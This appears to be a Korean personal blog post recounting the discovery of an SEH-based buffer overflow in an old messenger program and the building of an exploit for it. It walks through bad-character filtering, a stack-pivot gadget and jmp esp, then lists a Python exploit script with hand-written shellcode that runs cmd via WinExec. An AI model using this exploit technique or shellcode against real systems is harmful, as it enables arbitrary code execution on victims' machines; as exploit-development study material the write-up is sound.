메신저 exploit 제작기

2013. 11. 6. 23:50


어찌어찌하다 메신저 프로그램 (거의 안쓰는...2007년 이후로 개발도 중지된 듯 ㅎ) BOF 취약점을 발견하게 되어


재미로 exploit 까지 만들게 되었다. 이왕 만든 김에 간략히 중요한 부분만 정리해 보려고 한다.



1. 발견


 - 메신저를 사용하던 중 뭔가 자꾸 에러로 죽는 것을 발견

 - 호기심에 "AAAAAA..." 로 채워서 여러기능 수동 테스트

 - 메시지 저장 부분에서  crash & EIP=0x41414141 발견(!)







2. 분석


  확인 결과 전형적인 BOF 였으며, SEH 기반으로 Exploit 이 가능할 것으로 보였다. 크기를 확인하기 위해 


   !mona pc create 10000


  으로 패턴을 생성하여 확인했고, SEH 까지의 거리는 4120 이었다. ( !mona suggest 명령으로 자동 확인 가능 )







  일반적인 SEH Exploit 의 Payload 인  dummy + nseh + seh + dummy 로 Exploit 을 구성하려 했으나, 몇가지 

 

  상황으로 인해 어려웠다.


  먼저, 파일을 읽어서 처리하는 과정에서 0d0a0b 등을 포함한 개행문자 등의 몇가지 특수문자가 있으면 복사가 중단


  되었다. 그리고 아스키 복사 함수에서 발생하는 취약점이기 때문에 nseh, seh 주소 등에 %00 이 들어가게 되면


  뒷부분은 역시 복사가 되지 않는다. 또한 버퍼에 7f 이상의 값이 들어가면 다 3f 처리된다. 정리해 보면, 


     1) %0d %0a %0b 불가

     2) 7f 이상의 바이트는 3f 필터 처리

     3) %00 불가 

     4) 취약 바이너리를 제외한 모든 모듈은 safeseh 처리가 되어 있음

     5) pop pop ret 쓰려면 safeseh 아닌 모듈인 취약 바이너리에서 써야 하는데, base 주소가 00 으로 시작(-_-)함





3. Exploit 제작


  단순할거라 생각했던 exploit 제작에 몇가지 걸림돌이 있어 약간의 테크닉이 필요했다.


     1) %0d %0a %0b 불가

         -> 해당 바이트 제외한 주소값 선정


     2) 7f 이상의 바이트는 3f 필터 처리

         -> 몇가지 테크닉을 통한 3f 필터 처리 우회

         -> 쉘코드 3f 필터 우회방법은 몇가지가 있다. 

                  - alpha_mix 등의 알파벳으로만 인코딩을 해주는 msfencode 사용 (단, 몇가지 사용 제약 사항이 존재) 

                  - \xd0\xd0 과 같이 두번 중복해서 사용 시 \xd0\x3f 로 변환되어 \xd0 한번은 제대로 입력됨

                  - \x90 을 중간중간 삽입하면 변환이 되지 않는 경우가 있음

                  - 필요한 문자열과 주소값을 esp+4 , esp+8 등을 이용하여 구성 후 push 로 인자값 구성 


     3) %00 불가 

         -> 일반적인 payload 대신 payload 를 버퍼의 앞에 넣고, pop pop ret 대신 esp+xx, ret 가젯이용(stack pivot)



 몇번의 시행착오 후에 아래와 같이 exploit 을 제작할 수 있었다. 정석적으로 3f 를 우회하려면 alpha_mix 인코더가 

 

 가장 신뢰성 있겠지만 컨트롤 가능한 레지스터가 필요하므로(이걸 옵션으로 주지 않으면 완벽한 3f 우회 불가) 그냥


 주먹구구식(?)으로 우회했다.



           # vi exploit_msg.py

import os,sys
print " # Msg*** Exploit v1.0 by hyunmini"
print "[+] Making msg file..."

stackpivot = "\x16\x4c\x4b\x00"   # esp + 1040 ,ret 

jmp = "\x42\x63\x10\x77" # jmp esp 0x77106342
shellcode  = "\x55\x8b\xec\x83\xec\x44\x33\xc0"
shellcode += "\xc6\x44\x24\x04\x63"   # c
shellcode += "\xc6\x44\x24\x05\x6d"   # m
shellcode += "\xc6\x44\x24\x06\x64"   # d
shellcode += "\x88\x44\x24\x07"
shellcode += "\x6a\x05"
shellcode += "\x8d\x44\x24\x08"
shellcode += "\x50"
shellcode += "\xc6\x44\x24\x10\xad\x90" # 7c8623ad -> WinExec() Addr
shellcode += "\xc6\x44\x24\x11\x23\x90"
shellcode += "\xc6\x44\x24\x12\x86\x90"
shellcode += "\xc6\x44\x24\x13\x7c\x90"
shellcode += "\x8b\x44\x24\x10\x90\x90\x90\x90\x90\x90"
shellcode += "\xff\xd0\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0\xd0"

dummy = "A" * 12
padding = "A" * (4121-len(dummy)-len(shellcode))
payload = dummy + jmp + shellcode + padding + stackpivot

f = open("C:\\Program Files\\*********\\mymsg.txt","w")
#f.write(payload)
f.write(pattern)
f.close()
print " [+] finish !!"

  


이제 실행해보자. 실행 후 처음 예외가 발생하여 디버거가 멈추면 아래와 같이 버퍼가 정상적으로 덮어씌워 졌음을 

 

확인할 수 있다. 예외가 발생했으니 아래와 같이 SEH로 덮어씌운 0x004b4c16 의 주소 명령이 실행될 것이다.  




해당 주소는 ADD ESP, 404  가젯이며, 이 Stack Pivot 가젯을 통해 기존의 버퍼로 돌아올 수 있다. 


(SEH라 해서 꼭 POP POP RET 를 할 필욘 없다. 그저 돌아오는 것이 중요할 뿐)



RETN 을 하면 버퍼 시작지점 + 12 byte 로 돌아오게 되고, 이곳엔 미리 넣어둔 jmp esp 코드가 들어있다.





jmp esp 까지 실행하면 이제 EIP 는 쉘코드로 변경되고, 원하던 쉘코드를 실행시킬 수 있다. 이 쉘코드에는 위에서


말한 몇가지 테크닉이 적용된 상태이다. :)





이제 끝까지 실행하면 아래와 같이 CMD 창이 뜨는 것을 확인할 수 있다. 



성공~! ㅎ

+ Recent posts